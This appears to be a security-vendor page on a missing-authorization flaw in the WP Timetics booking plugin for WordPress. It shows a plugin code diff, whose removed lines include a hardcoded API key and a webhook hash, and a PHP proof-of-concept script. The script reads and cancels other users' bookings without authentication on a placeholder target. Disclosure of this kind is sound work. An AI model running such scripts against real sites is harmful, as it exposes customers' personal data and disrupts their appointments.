-     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
-     *
-     *   ComposerInstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
-     *
-     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
-     * @param  string        $packageName
-     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
-     * @return bool
-     */
-    public static function satisfies(VersionParser $parser, $packageName, $constraint)
-    {
-        $constraint = $parser->parseConstraints($constraint);
-        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));
-
-        return $provided->matches($constraint);
-    }
-
-    /**
-     * Returns a version constraint representing all the range(s) which are installed for a given package
-     *
-     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
-     * whether a given version of a package is installed, and not just whether it exists
-     *
-     * @param  string $packageName
-     * @return string Version constraint usable with composer/semver
-     */
-    public static function getVersionRanges($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            $ranges = array();
-            if (isset($installed['versions'][$packageName]['pretty_version'])) {
-                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
-            }
-            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
-            }
-            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
-            }
-            if (array_key_exists('provided', $installed['versions'][$packageName])) {
-                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
-            }
-
-            return implode(' || ', $ranges);
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
-     */
-    public static function getVersion($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['version'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['version'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
-     */
-    public static function getPrettyVersion($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['pretty_version'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
-     */
-    public static function getReference($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            if (!isset($installed['versions'][$packageName]['reference'])) {
-                return null;
-            }
-
-            return $installed['versions'][$packageName]['reference'];
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @param  string      $packageName
-     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
-     */
-    public static function getInstallPath($packageName)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (!isset($installed['versions'][$packageName])) {
-                continue;
-            }
-
-            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
-        }
-
-        throw new OutOfBoundsException('Package "' . $packageName . '" is not installed');
-    }
-
-    /**
-     * @return array
-     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
-     */
-    public static function getRootPackage()
-    {
-        $installed = self::getInstalled();
-
-        return $installed[0]['root'];
-    }
-
-    /**
-     * Returns the raw installed.php data for custom implementations
-     *
-     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
-     * @return array[]
-     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
-     */
-    public static function getRawData()
-    {
-        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);
-
-        if (null === self::$installed) {
-            // only require the installed.php file if this file is loaded from its dumped location,
-            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
-            if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = include __DIR__ . '/installed.php';
-            } else {
-                self::$installed = array();
-            }
-        }
-
-        return self::$installed;
-    }
-
-    /**
-     * Returns the raw data of all installed.php which are currently loaded for custom implementations
-     *
-     * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    public static function getAllRawData()
-    {
-        return self::getInstalled();
-    }
-
-    /**
-     * Lets you reload the static array from another file
-     *
-     * This is only useful for complex integrations in which a project needs to use
-     * this class but then also needs to execute another project's autoloader in process,
-     * and wants to ensure both projects have access to their version of installed.php.
-     *
-     * A typical case would be PHPUnit, where it would need to make sure it reads all
-     * the data it needs from this class, then call reload() with
-     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
-     * the project in which it runs can then also use this class safely, without
-     * interference between PHPUnit's dependencies and the project's dependencies.
-     *
-     * @param  array[] $data A vendor/composer/installed.php data set
-     * @return void
-     *
-     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
-     */
-    public static function reload($data)
-    {
-        self::$installed = $data;
-        self::$installedByVendor = array();
-    }
-
-    /**
-     * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    private static function getInstalled()
-    {
-        if (null === self::$canGetVendors) {
-            self::$canGetVendors = method_exists('ComposerAutoloadClassLoader', 'getRegisteredLoaders');
-        }
-
-        $installed = array();
-
-        if (self::$canGetVendors) {
-            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
-                if (isset(self::$installedByVendor[$vendorDir])) {
-                    $installed[] = self::$installedByVendor[$vendorDir];
-                } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
-                    }
-                }
-            }
-        }
-
-        if (null === self::$installed) {
-            // only require the installed.php file if this file is loaded from its dumped location,
-            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
-            if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
-            } else {
-                self::$installed = array();
-            }
-        }
-        $installed[] = self::$installed;
-
-        return $installed;
-    }
-}
--- a/timetics/vendor/composer/autoload_psr4.php
+++ b/timetics/vendor/composer/autoload_psr4.php
@@ -6,5 +6,4 @@
 $baseDir = dirname($vendorDir);

 return array(
-    'UninstallerForm\' => array($vendorDir . '/themewinter/uninstaller_form/src'),
 );
--- a/timetics/vendor/composer/autoload_real.php
+++ b/timetics/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit05cd069eafe0df94d6f2b539707d0acb
+class ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit05cd069eafe0df94d6f2b539707d0acb', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit05cd069eafe0df94d6f2b539707d0acb', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit05cd069eafe0df94d6f2b539707d0acb::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::getInitializer($loader));

         $loader->register(true);

--- a/timetics/vendor/composer/autoload_static.php
+++ b/timetics/vendor/composer/autoload_static.php
@@ -4,22 +4,8 @@

 namespace ComposerAutoload;

-class ComposerStaticInit05cd069eafe0df94d6f2b539707d0acb
+class ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9
 {
-    public static $prefixLengthsPsr4 = array (
-        'U' =>
-        array (
-            'UninstallerForm\' => 16,
-        ),
-    );
-
-    public static $prefixDirsPsr4 = array (
-        'UninstallerForm\' =>
-        array (
-            0 => __DIR__ . '/..' . '/themewinter/uninstaller_form/src',
-        ),
-    );
-
     public static $classMap = array (
         'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
     );
@@ -27,9 +13,7 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit05cd069eafe0df94d6f2b539707d0acb::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit05cd069eafe0df94d6f2b539707d0acb::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit05cd069eafe0df94d6f2b539707d0acb::$classMap;
+            $loader->classMap = ComposerStaticInitd02707597fbf5927c7666b74bdb40ea9::$classMap;

         }, null, ClassLoader::class);
     }
--- a/timetics/vendor/composer/installed.php
+++ b/timetics/vendor/composer/installed.php
@@ -1,34 +0,0 @@
-<?php return array(
-    'root' => array(
-        'name' => 'arraytics/timetics',
-        'pretty_version' => 'dev-develop',
-        'version' => 'dev-develop',
-        'reference' => '239996d381e93f1cbde0bb13231b7fdae22611dd',
-        'type' => 'library',
-        'install_path' => __DIR__ . '/../../',
-        'aliases' => array(),
-        'dev' => true,
-    ),
-    'versions' => array(
-        'arraytics/timetics' => array(
-            'pretty_version' => 'dev-develop',
-            'version' => 'dev-develop',
-            'reference' => '239996d381e93f1cbde0bb13231b7fdae22611dd',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../../',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'themewinter/uninstaller_form' => array(
-            'pretty_version' => 'dev-main',
-            'version' => 'dev-main',
-            'reference' => '2d3d0609af9f42679225ee7e4262c6d0c5272e38',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../themewinter/uninstaller_form',
-            'aliases' => array(
-                0 => '9999999-dev',
-            ),
-            'dev_requirement' => false,
-        ),
-    ),
-);
--- a/timetics/vendor/themewinter/uninstaller_form/config/google-sheet.php
+++ b/timetics/vendor/themewinter/uninstaller_form/config/google-sheet.php
@@ -1,6 +0,0 @@
-<?php
-
-//Spread Sheet id you will get after sharing the sheet with everyone and giving editable permission.
-return [
-    'spreadsheet_id' => '1QIc7cA4cJIgK048FhhV7qds-mjMIhsEPyl9I84Stzm8',
-];
--- a/timetics/vendor/themewinter/uninstaller_form/src/Api/FeedbackController.php
+++ b/timetics/vendor/themewinter/uninstaller_form/src/Api/FeedbackController.php
@@ -1,189 +0,0 @@
-<?php
-namespace UninstallerFormApi;
-
-use WP_REST_Request;
-
-/**
- * Feedback controller for the uninstaller form.
- *
- * @since 1.0.0
- *
- * @package UNINSTALLER_FORM
- */
-class FeedbackController {
-    protected $plugin_file;
-    protected $plugin_text_domain;
-    protected $plugin_name;
-    protected $plugin_slug;
-
-    /**
-     * Store namespace
-     *
-     * @since 1.0.0
-     *
-     * @var string
-     */
-    protected $namespace;
-
-    /**
-     * Store rest base
-     *
-     * @since 1.0.0
-     *
-     * @var string
-     */
-    protected $rest_base = 'feedback';
-
-    /**
-     * FeedbackController Constructor.
-     *
-     * @param string $plugin_file The path to the plugin file.
-     * @param string $plugin_text_domain The text domain of the plugin.
-     * @param string $plugin_name The name of the plugin.
-     * @param string $plugin_slug The slug of the plugin.
-     *
-     * @since 1.0.0
-     */
-    public function __construct($plugin_file, $plugin_text_domain, $plugin_name, $plugin_slug) {
-        $this->plugin_file        = $plugin_file;
-        $this->plugin_text_domain = $plugin_text_domain;
-        $this->plugin_name        = $plugin_name;
-        $this->plugin_slug        = $plugin_slug;
-        $this->namespace          = $plugin_slug . '/v1';
-        $this->register_routes();
-    }
-
-    /**
-     * Register REST routes for the feedback controller.
-     *
-     * @since 1.0.0
-     *
-     * @return void
-     */
-    protected function register_routes() {
-        register_rest_route($this->namespace, $this->rest_base, [
-            'methods'             => 'POST',
-            'callback'            => [$this, 'handle_feedback'],
-            'permission_callback' => function () {
-                return current_user_can('manage_options');
-            },
-        ]);
-    }
-
-    /**
-     * Handle feedback submission.
-     *
-     * @since 1.0.0
-     *
-     * @param WP_REST_Request $request The request object.
-     * @return WP_REST_Response The response object.
-     */
-    public function handle_feedback(WP_REST_Request $request) {
-        $nonce = $request->get_header('X-WP-Nonce');
-        if (! wp_verify_nonce($nonce, 'wp_rest')) {
-            return rest_ensure_response([
-                'status_code' => 403,
-                'success'     => 0,
-                'message'     => 'Invalid nonce. Unauthorized request.',
-            ]);
-        }
-
-        $data           = $request->get_json_params();
-        $feedback       = ! empty($data['feedback']) ? sanitize_text_field($data['feedback']) : 'No feedback';
-        $reasons        = ! empty($data['reasons']) ? sanitize_text_field($data['reasons']) : 'No reasons';
-        $customer_email = is_email($data['email']) ? sanitize_email($data['email']) : '';
-        $theme_name     = ! empty($data['theme_name']) ? sanitize_text_field($data['theme_name']) : '';
-
-        if (! $this->verify_email_status($customer_email)) {
-            $customer_email = '';
-        }
-
-        // Get current user info
-        $current_user  = wp_get_current_user();
-        $customer_name = $current_user->exists() ? $current_user->display_name : 'Guest';
-
-        try {
-            // $config        = include plugin_dir_path($this->plugin_file) . 'vendor/themewinter/uninstaller_form/config/google-sheet.php';
-            // $spreadsheetId = $config['spreadsheet_id'] ?? '';
-
-            // $credentialsPath = plugin_dir_path($this->plugin_file) . 'vendor/themewinter/uninstaller_form/config/google-credentials.json';
-
-            $sheetName = str_replace(' ', '_', $this->plugin_name);
-
-            if (! empty($customer_email) && ! empty($reasons)) {
-
-                $feedback_response = wp_remote_post('https://products.arraytics.com/feedback/wp-json/afp/v1/feedback', [
-                    'method'  => 'POST',
-                    'headers' => [
-                        'Content-Type' => 'application/json',
-                    ],
-                    'body'    => json_encode([
-                        'customer_name'  => $customer_name,
-                        'feedback'       => $feedback,
-                        'customer_email' => $customer_email,
-                        'plugin_name'    => $this->plugin_name,
-                        'theme'          => $theme_name,
-                        'reason'         => explode(',',$reasons)
-                    ]),
-                ]);
-
-
-                //Storing data to excell sheet
-                // $sheetClient = new UninstallerFormSupportGoogleSheetClient($credentialsPath, $spreadsheetId, $sheetName);
-                // $sheetClient->appendRow([
-                //     $customer_name,        // Customer name
-                //     $customer_email,       // Customer email
-                //     $this->plugin_name,    // Plugin Slug
-                //     $reasons,              // Reason
-                //     $feedback,             // Feedback message,
-                //     $theme_name,           // Theme name
-                //     current_time('mysql'), // Timestamp
-                // ]);
-
-                //Send data through webhook
-                $webhook = "https://themewinter.com/?fluentcrm=1&route=contact&hash=50d358fa-e039-4459-a3d0-ef73b3c7d451";
-                $body    = [
-                    'customer_name' => $customer_name,
-                    'email'         => $customer_email,
-                    'plugin_name'   => $this->plugin_name,
-                    'reason'        => $reasons,
-                    'feedback'      => $feedback,
-                    'theme_name'    => $theme_name,
-                ];
-                $webhook_response = wp_remote_post($webhook, ['body' => $body]);
-            }
-        } catch (Exception $e) {
-            return rest_ensure_response([
-                'status_code' => 500,
-                'success'     => 0,
-                'message'     => 'Unable to store feedback.',
-            ]);
-        }
-
-        return rest_ensure_response([
-            'status_code' => 200,
-            'success'     => 1,
-            'message'     => 'Feedback saved successfully.',
-        ]);
-    }
-
-    public function verify_email_status(string $email = "") {
-        $api_key = '700tpaQtc06FcqN93Ljkoibz6oo76KWk'; // Replace with your actual API key
-        $url     = 'https://emailverifier.reoon.com/api/v1/verify';
-
-        $response = wp_remote_get(add_query_arg([
-            'email' => $email,
-            'key'   => $api_key,
-            'mode'  => 'quick',
-        ], $url));
-
-        if (is_wp_error($response)) {
-            return 'error';
-        }
-
-        $body = wp_remote_retrieve_body($response);
-        $data = json_decode($body, true);
-
-        return isset($data['status']) && $data['status'] === "valid";
-    }
-}
 No newline at end of file
--- a/timetics/vendor/themewinter/uninstaller_form/src/HookRegistrar.php
+++ b/timetics/vendor/themewinter/uninstaller_form/src/HookRegistrar.php
@@ -1,53 +0,0 @@
-<?php
-namespace UninstallerForm;
-
-use UninstallerFormApiFeedbackController;
-use UninstallerFormSupportLocalizer;
-
-/**
- * HookRegistrar class for the uninstaller form.
- *
- * @since 1.0.0
- *
- * @package UNINSTALLER_FORM
- */
-class HookRegistrar {
-    protected $plugin_name, $plugin_slug, $plugin_file, $plugin_text_domain, $script_handler;
-
-    /**
-     * HookRegistrar Constructor.
-     *
-     * @param string $plugin_name The name of the plugin.
-     * @param string $plugin_slug The slug of the plugin.
-     * @param string $plugin_file The path to the plugin file.
-     * @param string $plugin_text_domain The text domain of the plugin.
-     * @param string $script_handler The handle of the scri

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-5919 - Appointment Booking and Scheduling Calendar Plugin – WP Timetics <= 1.0.36 - Missing Authorization to Unauthenticated Booking Details View And Modification
<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Function to demonstrate unauthorized booking retrieval
function get_booking_details($booking_id) {
    global $target_url;
    
    $endpoint = $target_url . '/wp-json/timetics/v1/bookings/' . intval($booking_id);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // No authentication headers required for vulnerable versions
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'status' => $http_code,
        'data' => json_decode($response, true)
    ];
}

// Function to demonstrate unauthorized booking modification
function update_booking_status($booking_id, $new_status) {
    global $target_url;
    
    $endpoint = $target_url . '/wp-json/timetics/v1/bookings/' . intval($booking_id);
    
    $payload = json_encode([
        'status' => $new_status  // Can be 'pending', 'approved', 'canceled', etc.
    ]);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Content-Length: ' . strlen($payload)
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'status' => $http_code,
        'data' => json_decode($response, true)
    ];
}

// Example usage
$booking_id = 123; // Replace with actual booking ID

// 1. Retrieve booking details without authentication
$result = get_booking_details($booking_id);
echo "GET Request - Status: " . $result['status'] . "n";
if ($result['status'] === 200 && !empty($result['data'])) {
    echo "Booking Data Retrieved: n";
    echo "Customer: " . ($result['data']['customer']['name'] ?? 'N/A') . "n";
    echo "Appointment: " . ($result['data']['meeting']['name'] ?? 'N/A') . "n";
    echo "Status: " . ($result['data']['status'] ?? 'N/A') . "n";
    echo "Start Time: " . ($result['data']['start_date'] ?? 'N/A') . "n";
}

// 2. Modify booking status without authentication
$result = update_booking_status($booking_id, 'canceled');
echo "nPUT Request - Status: " . $result['status'] . "n";
if ($result['status'] === 200) {
    echo "Booking status successfully changed to 'canceled'n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School